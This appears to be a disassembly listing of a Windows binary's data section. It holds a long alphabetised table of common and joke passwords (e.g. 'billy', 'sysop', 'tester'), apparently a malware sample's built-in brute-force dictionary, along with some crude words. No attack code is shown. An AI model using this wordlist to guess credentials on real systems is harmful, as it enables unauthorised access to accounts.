aWindowsme	db 'windowsME',0        ; DATA XREF: .nsp0:0042DDA0o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: .nsp0:0042DD9Co
		align 10h
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: .nsp0:0042DD98o
		align 4
aMs		db 'MS',0               ; DATA XREF: .nsp0:0042DD94o
		align 10h
aM_0		db 'M$',0               ; DATA XREF: .nsp0:0042DD90o
		align 4
aBilly		db 'billy',0            ; DATA XREF: .nsp0:0042DD8Co
		align 4
aWindose	db 'windose',0          ; DATA XREF: .nsp0:0042DD88o
aWindoze	db 'windoze',0          ; DATA XREF: .nsp0:0042DD84o
aWindowz	db 'windowz',0          ; DATA XREF: .nsp0:0042DD80o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: .nsp0:0042DD7Co
aDonaldduck	db 'donaldduck',0       ; DATA XREF: .nsp0:0042DD78o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: .nsp0:0042DD74o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: .nsp0:0042DD70o
		align 10h
aDud3		db 'dud3',0             ; DATA XREF: .nsp0:0042DD6Co
		align 4
aDudette	db 'dudette',0          ; DATA XREF: .nsp0:0042DD68o
aD00d		db 'd00d',0             ; DATA XREF: .nsp0:0042DD64o
		align 4
aLol		db 'lol',0              ; DATA XREF: .nsp0:0042DD60o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: .nsp0:0042DD5Co
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: .nsp0:0042DD58o
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: .nsp0:0042DD54o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: .nsp0:0042DD50o
		align 4
aTestin		db 'testin',0           ; DATA XREF: .nsp0:0042DD4Co
		align 4
aTester		db 'tester',0           ; DATA XREF: .nsp0:0042DD48o
		align 4
a00000000	db '00000000',0         ; DATA XREF: .nsp0:0042DD44o
					; .nsp0:0042E000o
		align 10h
aZulu		db 'zulu',0             ; DATA XREF: .nsp0:0042DD40o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: .nsp0:0042DD3Co
		align 10h
aZmodem		db 'zmodem',0           ; DATA XREF: .nsp0:0042DD38o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: .nsp0:0042DD34o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: .nsp0:0042DD30o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: .nsp0:0042DD2Co
		align 4
aZebra		db 'zebra',0            ; DATA XREF: .nsp0:0042DD28o
		align 10h
aYoung		db 'young',0            ; DATA XREF: .nsp0:0042DD24o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: .nsp0:0042DD20o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: .nsp0:0042DD1Co
aYellowst	db 'yellowst',0         ; DATA XREF: .nsp0:0042DD18o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: .nsp0:0042DD14o
		align 10h
aYankee		db 'yankee',0           ; DATA XREF: .nsp0:0042DD10o
		align 4
aYang		db 'yang',0             ; DATA XREF: .nsp0:0042DD0Co
					; .nsp0:0042E448o
		align 10h
aYaco		db 'yaco',0             ; DATA XREF: .nsp0:0042DD08o
					; .nsp0:0042E444o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: .nsp0:0042DD04o
		align 10h
aXray		db 'xray',0             ; DATA XREF: .nsp0:0042DD00o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: .nsp0:0042DCFCo
		align 10h
aXmen		db 'xmen',0             ; DATA XREF: .nsp0:0042DCF8o
		align 4
aXman		db 'xman',0             ; DATA XREF: .nsp0:0042DCF4o
		align 10h
aXfer		db 'xfer',0             ; DATA XREF: .nsp0:0042DCF0o
		align 4
aXena		db 'xena',0             ; DATA XREF: .nsp0:0042DCECo
		align 10h
aWyoming	db 'wyoming',0          ; DATA XREF: .nsp0:0042DCE8o
aWwii		db 'wwii',0             ; DATA XREF: .nsp0:0042DCE4o
		align 10h
aWormwood	db 'wormwood',0         ; DATA XREF: .nsp0:0042DCE0o
		align 4
aWorm		db 'worm',0             ; DATA XREF: .nsp0:0042DCDCo
		align 4
aWork		db 'work',0             ; DATA XREF: .nsp0:0042DCD8o
		align 4
aWorf		db 'worf',0             ; DATA XREF: .nsp0:0042DCD4o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: .nsp0:0042DCD0o
		align 10h
aWord		db 'word',0             ; DATA XREF: .nsp0:0042DCCCo
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: .nsp0:0042DCC8o
		align 4
aWood		db 'wood',0             ; DATA XREF: .nsp0:0042DCC4o
		align 4
aWomen		db 'women',0            ; DATA XREF: .nsp0:0042DCC0o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: .nsp0:0042DCBCo
		align 4
aWoman		db 'woman',0            ; DATA XREF: .nsp0:0042DCB8o
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: .nsp0:0042DCB4o
		align 10h
aWolf		db 'wolf',0             ; DATA XREF: .nsp0:0042DCB0o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: .nsp0:0042DCACo
		align 10h
aWithin		db 'within',0           ; DATA XREF: .nsp0:0042DCA8o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: .nsp0:0042DCA4o
aWisconsi	db 'wisconsi',0         ; DATA XREF: .nsp0:0042DCA0o
		align 4
aWired		db 'wired',0            ; DATA XREF: .nsp0:0042DC9Co
		align 4
aWinston	db 'winston',0          ; DATA XREF: .nsp0:0042DC98o
aWing		db 'wing',0             ; DATA XREF: .nsp0:0042DC94o
		align 4
aWine		db 'wine',0             ; DATA XREF: .nsp0:0042DC90o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .nsp0:0042DC8Co
aWilma		db 'wilma',0            ; DATA XREF: .nsp0:0042DC88o
		align 4
aWillie		db 'willie',0           ; DATA XREF: .nsp0:0042DC84o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: .nsp0:0042DC80o
		align 10h
aWilliam	db 'william',0          ; DATA XREF: .nsp0:0042DC7Co
aWill		db 'will',0             ; DATA XREF: .nsp0:0042DC78o
		align 10h
aWhore		db 'whore',0            ; DATA XREF: .nsp0:0042DC74o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: .nsp0:0042DC70o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: .nsp0:0042DC6Co
aWhiting	db 'whiting',0          ; DATA XREF: .nsp0:0042DC68o
aWhite		db 'white',0            ; DATA XREF: .nsp0:0042DC64o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: .nsp0:0042DC60o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: .nsp0:0042DC5Co
aWhatever	db 'whatever',0         ; DATA XREF: .nsp0:0042DC58o
		align 4
aWestern	db 'western',0          ; DATA XREF: .nsp0:0042DC54o
aWest		db 'west',0             ; DATA XREF: .nsp0:0042DC50o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: .nsp0:0042DC4Co
		align 4
aWendy		db 'wendy',0            ; DATA XREF: .nsp0:0042DC48o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: .nsp0:0042DC44o
		align 4
aWell		db 'well',0             ; DATA XREF: .nsp0:0042DC40o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: .nsp0:0042DC3Co
		align 4
aWeed		db 'weed',0             ; DATA XREF: .nsp0:0042DC38o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: .nsp0:0042DC34o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: .nsp0:0042DC30o
aWave		db 'wave',0             ; DATA XREF: .nsp0:0042DC2Co
		align 4
aWater		db 'water',0            ; DATA XREF: .nsp0:0042DC28o
		align 10h
aWatchwor	db 'watchwor',0         ; DATA XREF: .nsp0:0042DC24o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: .nsp0:0042DC20o
		align 4
aWarren		db 'warren',0           ; DATA XREF: .nsp0:0042DC1Co
		align 4
aWarp		db 'warp',0             ; DATA XREF: .nsp0:0042DC18o
		align 4
aWargames	db 'wargames',0         ; DATA XREF: .nsp0:0042DC14o
		align 10h
aWarfare	db 'warfare',0          ; DATA XREF: .nsp0:0042DC10o
aWarez		db 'warez',0            ; DATA XREF: .nsp0:0042DC0Co
		align 10h
aWard		db 'ward',0             ; DATA XREF: .nsp0:0042DC08o
		align 4
aWaco		db 'waco',0             ; DATA XREF: .nsp0:0042DC04o
		align 10h
aVodka		db 'vodka',0            ; DATA XREF: .nsp0:0042DC00o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: .nsp0:0042DBFCo
		align 4
aVisual		db 'visual',0           ; DATA XREF: .nsp0:0042DBF8o
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: .nsp0:0042DBF4o
aVirus		db 'virus',0            ; DATA XREF: .nsp0:0042DBF0o
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: .nsp0:0042DBECo
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: .nsp0:0042DBE8o
		align 10h
aVillage	db 'village',0          ; DATA XREF: .nsp0:0042DBE4o
aVideogam	db 'videogam',0         ; DATA XREF: .nsp0:0042DBE0o
		align 4
aVideo		db 'video',0            ; DATA XREF: .nsp0:0042DBDCo
		align 4
aVictor		db 'victor',0           ; DATA XREF: .nsp0:0042DBD8o
		align 4
aVicky		db 'vicky',0            ; DATA XREF: .nsp0:0042DBD4o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: .nsp0:0042DBD0o
aVeronica	db 'veronica',0         ; DATA XREF: .nsp0:0042DBCCo
		align 10h
aVenus		db 'venus',0            ; DATA XREF: .nsp0:0042DBC8o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: .nsp0:0042DBC4o
		align 10h
aVampire	db 'vampire',0          ; DATA XREF: .nsp0:0042DBC0o
aValerie	db 'valerie',0
aVagina		db 'vagina',0
		align 4
aUucp		db 'uucp',0
		align 10h
aUtility	db 'utility',0
aUtil		db 'util',0
		align 10h
aUsmc		db 'usmc',0
		align 4
aUsername	db 'username',0
		align 4
aUsermane	db 'usermane',0
		align 10h
aUsenet		db 'usenet',0
		align 4
aUrsula		db 'ursula',0
		align 10h
aUrchin		db 'urchin',0
		align 4
aUranus		db 'uranus',0
		align 10h
aUpload		db 'upload',0
		align 4
aUnlock		db 'unlock',0
		align 10h
aUnknown_0	db 'unknown',0
aUniversi	db 'universi',0
		align 4
aUniverse	db 'universe',0
		align 10h
aUniversa	db 'universa',0
		align 4
aUniform	db 'uniform',0
aUnicorn	db 'unicorn',0
aUnhappy	db 'unhappy',0
aUndo		db 'undo',0
		align 4
aUncle		db 'uncle',0
		align 4
aUmesh		db 'umesh',0
		align 4
aUgly		db 'ugly',0
		align 4
aTuttle		db 'tuttle',0
		align 4
aTurn		db 'turn',0
		align 4
aTuesday	db 'tuesday',0
aTubas		db 'tubas',0
		align 4
aTruth		db 'truth',0
		align 4
aTrue		db 'true',0
		align 4
aTron		db 'tron',0
		align 4
aTrombone	db 'trombone',0
		align 4
aTrojan		db 'trojan',0
		align 10h
aTrivial	db 'trivial',0
aTrisha		db 'trisha',0
		align 10h
aTrek		db 'trek',0
		align 4
aTree		db 'tree',0
		align 10h
aTrapdoor	db 'trapdoor',0
		align 4
aTrap		db 'trap',0
		align 4
aTransfer	db 'transfer',0
		align 10h
aTrails		db 'trails',0
		align 4
aTracy		db 'tracy',0
		align 10h
aTracie		db 'tracie',0
		align 4
aTraci		db 'traci',0
		align 10h
aToyota_0	db 'toyota',0           ; DATA XREF: .nsp0:0042E418o
		align 4
aToxic		db 'toxic',0
		align 10h
aTortoise	db 'tortoise',0
		align 4
aTopograp	db 'topograp',0
		align 4
aTomato		db 'tomato',0
		align 10h
aTokenrin	db 'tokenrin',0
		align 4
aToken		db 'token',0
		align 4
aToggle		db 'toggle',0
		align 4
aToad		db 'toad',0
		align 4
aTits		db 'tits',0
		align 4
aTina		db 'tina',0
		align 4
aTime		db 'time',0
		align 4
aTiger		db 'tiger',0            ; DATA XREF: .nsp0:0042E40Co
		align 4
aTiffany	db 'tiffany',0
aThursday	db 'thursday',0
		align 4
aThin		db 'thin',0
		align 10h
aTheresa	db 'theresa',0
aThailand	db 'thailand',0
		align 4
aText		db 'text',0
		align 4
aTetris		db 'tetris',0
		align 4
aTess		db 'tess',0
		align 4
aTerminat	db 'terminat',0
		align 4
aTerminal	db 'terminal',0
		align 4
aTera		db 'tera',0
		align 4
aTennis		db 'tennis',0
		align 4
aTemptati	db 'temptati',0
		align 10h
aTelnet		db 'telnet',0           ; DATA XREF: .nsp0:0042DAA0o
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: .nsp0:0042DA9Co
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: .nsp0:0042DA98o
aTeen		db 'teen',0             ; DATA XREF: .nsp0:0042DA94o
		align 4
aTech		db 'tech',0             ; DATA XREF: .nsp0:0042DA90o
		align 4
aTears		db 'tears',0            ; DATA XREF: .nsp0:0042DA8Co
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: .nsp0:0042DA88o
		align 4
aTeam		db 'team',0             ; DATA XREF: .nsp0:0042DA84o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: .nsp0:0042DA7Co
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: .nsp0:0042DA78o
		align 4
aTarget		db 'target',0           ; DATA XREF: .nsp0:0042DA74o
		align 10h
aTara		db 'tara',0             ; DATA XREF: .nsp0:0042DA70o
		align 4
aTape		db 'tape',0             ; DATA XREF: .nsp0:0042DA6Co
		align 10h
aTango		db 'tango',0            ; DATA XREF: .nsp0:0042DA68o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: .nsp0:0042DA64o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: .nsp0:0042DA60o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: .nsp0:0042DA5Co
		align 4
aTami		db 'tami',0             ; DATA XREF: .nsp0:0042DA58o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: .nsp0:0042DA54o
		align 4
aTall		db 'tall',0             ; DATA XREF: .nsp0:0042DA50o
		align 4
aTalk		db 'talk',0             ; DATA XREF: .nsp0:0042DA4Co
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: .nsp0:0042DA48o
aSysop		db 'sysop',0            ; DATA XREF: .nsp0:0042DA44o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: .nsp0:0042DA3Co
		align 10h
aSybil		db 'sybil',0            ; DATA XREF: .nsp0:0042DA38o
		align 4
aSword		db 'sword',0            ; DATA XREF: .nsp0:0042DA34o
		align 10h
aSwitch		db 'switch',0           ; DATA XREF: .nsp0:0042DA30o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: .nsp0:0042DA2Co
		align 10h
aSwearer	db 'swearer',0          ; DATA XREF: .nsp0:0042DA28o
aSuzie		db 'suzie',0            ; DATA XREF: .nsp0:0042DA24o
		align 10h
aSuzanne	db 'suzanne',0          ; DATA XREF: .nsp0:0042DA20o
aSusie		db 'susie',0            ; DATA XREF: .nsp0:0042DA1Co
		align 10h
aSusanne	db 'susanne',0          ; DATA XREF: .nsp0:0042DA18o
aSusan		db 'susan',0            ; DATA XREF: .nsp0:0042DA14o
		align 10h
aSurfing	db 'surfing',0          ; DATA XREF: .nsp0:0042DA10o
aSurfer		db 'surfer',0           ; DATA XREF: .nsp0:0042DA0Co
		align 10h
aSupporte	db 'supporte',0         ; DATA XREF: .nsp0:0042DA08o
		align 4
aSupport	db 'support',0          ; DATA XREF: .nsp0:0042DA04o
aSupervis	db 'supervis',0         ; DATA XREF: .nsp0:0042DA00o
		align 10h
aSuperuse	db 'superuse',0         ; DATA XREF: .nsp0:0042D9FCo
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: .nsp0:0042D9F8o
		align 4
aSuperson	db 'superson',0         ; DATA XREF: .nsp0:0042D9F4o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: .nsp0:0042D9F0o
		align 10h
aSunday		db 'sunday',0           ; DATA XREF: .nsp0:004226E0o
					; .nsp0:0042D9ECo
		align 4
aSummer		db 'summer',0           ; DATA XREF: .nsp0:0042D9E8o
		align 10h
aSucks		db 'sucks',0            ; DATA XREF: .nsp0:0042D9E4o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: .nsp0:0042D9E0o
		align 4
aSuck		db 'suck',0             ; DATA XREF: .nsp0:0042D9DCo
		align 4
aSuccess	db 'success',0          ; DATA XREF: .nsp0:0042D9D8o
aSubway		db 'subway',0           ; DATA XREF: .nsp0:0042D9D4o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: .nsp0:0042D9D0o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: .nsp0:0042D9CCo
					; .nsp0:00425600o
		align 4
aStrip		db 'strip',0            ; DATA XREF: .nsp0:0042D9C4o
		align 4
aString		db 'string',0           ; DATA XREF: .nsp0:off_42549Co
					; .nsp0:0042D9C0o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: .nsp0:0042D9BCo
		align 10h
aStratfor	db 'stratfor',0         ; DATA XREF: .nsp0:0042D9B8o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: .nsp0:0042D9B4o
		align 4
aStrange	db 'strange',0          ; DATA XREF: .nsp0:0042D9B0o
aStones		db 'stones',0           ; DATA XREF: .nsp0:0042D9ACo
		align 4
aStoned		db 'stoned',0           ; DATA XREF: .nsp0:0042D9A8o
		align 10h
aStoneage	db 'stoneage',0         ; DATA XREF: .nsp0:0042D9A4o
		align 4
aSteve		db 'steve',0            ; DATA XREF: .nsp0:0042D9A0o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: .nsp0:0042D99Co
		align 4
aStephani	db 'stephani',0         ; DATA XREF: .nsp0:0042D998o
		align 4
aSteph		db 'steph',0            ; DATA XREF: .nsp0:0042D994o
		align 10h
aSteel		db 'steel',0            ; DATA XREF: .nsp0:0042D990o
		align 4
aSteal		db 'steal',0            ; DATA XREF: .nsp0:0042D98Co
		align 10h
aSteak		db 'steak',0            ; DATA XREF: .nsp0:0042D988o
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: .nsp0:0042D984o
		align 4
aStartup	db 'startup',0          ; DATA XREF: .nsp0:0042D980o
aStartrek	db 'startrek',0         ; DATA XREF: .nsp0:0042D97Co
		align 4
aStart		db 'start',0            ; DATA XREF: sub_40CE55+1EF2o
					; .nsp0:0042D978o
		align 10h
aStarship	db 'starship',0         ; DATA XREF: .nsp0:0042D974o
		align 4
aStar		db 'star',0             ; DATA XREF: .nsp0:0042D970o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: .nsp0:0042D96Co
		align 4
aStacie		db 'stacie',0           ; DATA XREF: .nsp0:0042D968o
		align 4
aStaci		db 'staci',0            ; DATA XREF: .nsp0:0042D964o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: .nsp0:0042D960o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: .nsp0:0042D95Co
		align 4
aSquires	db 'squires',0          ; DATA XREF: .nsp0:0042D958o
aSpunk		db 'spunk',0            ; DATA XREF: .nsp0:0042D954o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: .nsp0:0042D950o
		align 4
aSpring		db 'spring',0           ; DATA XREF: .nsp0:0042D94Co
		align 10h
aSpred		db 'spred',0            ; DATA XREF: .nsp0:0042D948o
		align 4
aSpit		db 'spit',0             ; DATA XREF: .nsp0:0042D944o
		align 10h
aSpiderma	db 'spiderma',0         ; DATA XREF: .nsp0:0042D940o
		align 4
aSpider		db 'spider',0           ; DATA XREF: .nsp0:0042D93Co
		align 4
aSpice		db 'spice',0            ; DATA XREF: .nsp0:0042D938o
		align 4
aSpell		db 'spell',0            ; DATA XREF: .nsp0:0042D934o
		align 4
aSpear		db 'spear',0            ; DATA XREF: .nsp0:0042D930o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: .nsp0:0042D92Co
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: .nsp0:0042D928o
		align 4
aSouth		db 'south',0            ; DATA XREF: .nsp0:0042D924o
		align 4
aSource		db 'source',0           ; DATA XREF: .nsp0:0042D920o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: .nsp0:0042D91Co
aSonya		db 'sonya',0            ; DATA XREF: .nsp0:0042D918o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: .nsp0:0042D914o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: .nsp0:0042D910o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: .nsp0:0042D90Co
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: .nsp0:0042D908o
		align 4
aSoftware	db 'software',0         ; DATA XREF: .nsp0:0042D904o
		align 4
aSoft		db 'soft',0             ; DATA XREF: .nsp0:0042D900o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: .nsp0:0042D8FCo
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: .nsp0:0042D8F8o
		align 10h
aSocial		db 'social',0           ; DATA XREF: .nsp0:0042D8F4o
		align 4
aSoap		db 'soap',0             ; DATA XREF: .nsp0:0042D8F0o
		align 10h
aSnoopy		db 'snoopy',0           ; DATA XREF: .nsp0:0042D8ECo
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: .nsp0:0042D8E8o
		align 10h
aSnake		db 'snake',0            ; DATA XREF: .nsp0:0042D8E4o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: .nsp0:0042D8E0o
		align 10h
aSnach		db 'snach',0            ; DATA XREF: .nsp0:0042D8DCo
		align 4
aSmut		db 'smut',0             ; DATA XREF: .nsp0:0042D8D8o
		align 10h
aSmtp		db 'smtp',0             ; DATA XREF: .nsp0:0042D8D4o
		align 4
aSmother	db 'smother',0          ; DATA XREF: .nsp0:0042D8D0o
aSmooch		db 'smooch',0           ; DATA XREF: .nsp0:0042D8CCo
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: .nsp0:0042D8C8o
		align 10h
aSmile		db 'smile',0            ; DATA XREF: .nsp0:0042D8C4o
		align 4
aSmart		db 'smart',0            ; DATA XREF: .nsp0:0042D8C0o
		align 10h
aSmall		db 'small',0            ; DATA XREF: .nsp0:0042D8BCo
		align 4
aSlut		db 'slut',0             ; DATA XREF: .nsp0:0042D8B8o
		align 10h
aSlow		db 'slow',0             ; DATA XREF: .nsp0:0042D8B4o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: .nsp0:0042D8B0o
aSlick		db 'slick',0            ; DATA XREF: .nsp0:0042D8ACo
		align 4
aSlave		db 'slave',0            ; DATA XREF: .nsp0:0042D8A8o
		align 10h
aSkull		db 'skull',0            ; DATA XREF: .nsp0:0042D8A4o
		align 4
aSite		db 'site',0             ; DATA XREF: .nsp0:0042D8A0o
		align 10h
aSingle		db 'single',0           ; DATA XREF: .nsp0:0042D89Co
		align 4
aSinger		db 'singer',0           ; DATA XREF: .nsp0:0042D898o
		align 10h
aSimulati	db 'simulati',0         ; DATA XREF: .nsp0:0042D894o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: .nsp0:0042D890o
		align 4
aSimple		db 'simple',0           ; DATA XREF: .nsp0:0042D88Co
		align 10h
aSimon		db 'simon',0            ; DATA XREF: .nsp0:0042D888o
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: .nsp0:0042D884o
aSilver		db 'silver',0           ; DATA XREF: .nsp0:0042D880o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: .nsp0:0042D87Co
		align 4
aSierra		db 'sierra',0           ; DATA XREF: .nsp0:0042D878o
		align 4
aSick		db 'sick',0             ; DATA XREF: .nsp0:0042D874o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: .nsp0:0042D870o
aShort		db 'short',0            ; DATA XREF: .nsp0:0042D86Co
		align 4
aShivers	db 'shivers',0          ; DATA XREF: .nsp0:0042D868o
aShiva		db 'shiva',0            ; DATA XREF: .nsp0:0042D864o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: .nsp0:0042D860o
aShit		db 'shit',0             ; DATA XREF: .nsp0:0042D85Co
		align 4
aShirley	db 'shirley',0          ; DATA XREF: .nsp0:0042D858o
aShift		db 'shift',0            ; DATA XREF: .nsp0:0042D854o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: .nsp0:0042D850o
		align 4
aShell		db 'shell',0            ; DATA XREF: .nsp0:0042D84Co
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: .nsp0:0042D848o
aSheffiel	db 'sheffiel',0         ; DATA XREF: .nsp0:0042D844o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: .nsp0:0042D840o
		align 10h
aSharks		db 'sharks',0           ; DATA XREF: .nsp0:0042D83Co
		align 4
aShark		db 'shark',0            ; DATA XREF: .nsp0:0042D838o
		align 10h
aSharc		db 'sharc',0            ; DATA XREF: .nsp0:0042D834o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: .nsp0:0042D830o
aSexy		db 'sexy',0             ; DATA XREF: .nsp0:0042D82Co
		align 4
aSesame		db 'sesame',0           ; DATA XREF: .nsp0:0042D828o
		align 10h
aService	db 'service',0          ; DATA XREF: .nsp0:0042D824o
					; .nsp0:0042E3ECo
aSerial_0	db 'serial',0           ; DATA XREF: .nsp0:0042D820o
		align 10h
aSerenity	db 'serenity',0         ; DATA XREF: .nsp0:0042D81Co
		align 4
aSentry		db 'sentry',0           ; DATA XREF: .nsp0:0042D818o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: .nsp0:0042D814o
		align 10h
aSensor		db 'sensor',0           ; DATA XREF: .nsp0:0042D810o
		align 4
aSega		db 'sega',0             ; DATA XREF: .nsp0:0042D80Co
		align 10h
aSeed		db 'seed',0             ; DATA XREF: .nsp0:0042D808o
		align 4
aSecurity	db 'security',0         ; DATA XREF: .nsp0:0042D804o
		align 4
aSearch		db 'search',0           ; DATA XREF: .nsp0:0042D800o
		align 4
aScout		db 'scout',0            ; DATA XREF: .nsp0:0042D7FCo
		align 4
aScotty		db 'scotty',0           ; DATA XREF: .nsp0:0042D7F8o
		align 4
aScott		db 'scott',0            ; DATA XREF: .nsp0:0042D7F4o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: .nsp0:0042D7F0o
		align 10h
aScifi		db 'scifi',0            ; DATA XREF: .nsp0:0042D7ECo
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: .nsp0:0042D7E8o
aSchool		db 'school',0           ; DATA XREF: .nsp0:0042D7E4o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: .nsp0:0042D7E0o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: .nsp0:0042D7DCo
aSaxon		db 'saxon',0            ; DATA XREF: .nsp0:0042D7D8o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: .nsp0:0042D7D4o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: .nsp0:0042D7D0o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: .nsp0:0042D7CCo
		align 10h
aSara		db 'sara',0             ; DATA XREF: .nsp0:0042D7C8o
		align 4
aSandy		db 'sandy',0            ; DATA XREF: .nsp0:0042D7C4o
		align 10h
aSandra		db 'sandra',0           ; DATA XREF: .nsp0:0042D7C0o
		align 4
aSample		db 'sample',0           ; DATA XREF: .nsp0:0042D7BCo
		align 10h
aSamantha	db 'samantha',0         ; DATA XREF: .nsp0:0042D7B8o
		align 4
aSalt		db 'salt',0             ; DATA XREF: .nsp0:0042D7B4o
		align 4
aSale		db 'sale',0             ; DATA XREF: .nsp0:0042D7B0o
		align 4
aSalami		db 'salami',0           ; DATA XREF: .nsp0:0042D7ACo
		align 4
aSafe		db 'safe',0             ; DATA XREF: .nsp0:0042D7A8o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: .nsp0:0042D7A4o
		align 4
aRush		db 'rush',0             ; DATA XREF: .nsp0:0042D7A0o
		align 4
aRunning	db 'running',0          ; DATA XREF: .nsp0:0042D79Co
aRules		db 'rules',0            ; DATA XREF: .nsp0:0042D798o
		align 4
aRude		db 'rude',0             ; DATA XREF: .nsp0:0042D794o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: .nsp0:0042D790o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: .nsp0:0042D78Co
		align 4
aRubber		db 'rubber',0           ; DATA XREF: .nsp0:0042D788o
		align 4
aRough		db 'rough',0            ; DATA XREF: .nsp0:0042D784o
		align 4
aRoses		db 'roses',0            ; DATA XREF: .nsp0:0042D780o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: .nsp0:0042D77Co
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: .nsp0:0042D778o
aRose		db 'rose',0             ; DATA XREF: .nsp0:0042D774o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: .nsp0:0042D770o
		align 10h
aRomulan	db 'romulan',0          ; DATA XREF: .nsp0:0042D76Co
aRomeo		db 'romeo',0            ; DATA XREF: .nsp0:0042D768o
		align 10h
aRomano		db 'romano',0           ; DATA XREF: .nsp0:0042D764o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: .nsp0:0042D760o
		align 10h
aRodent		db 'rodent',0           ; DATA XREF: .nsp0:0042D75Co
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: .nsp0:0042D758o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: .nsp0:0042D754o
		align 4
aRock		db 'rock',0             ; DATA XREF: .nsp0:0042D750o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: .nsp0:0042D74Co
		align 10h
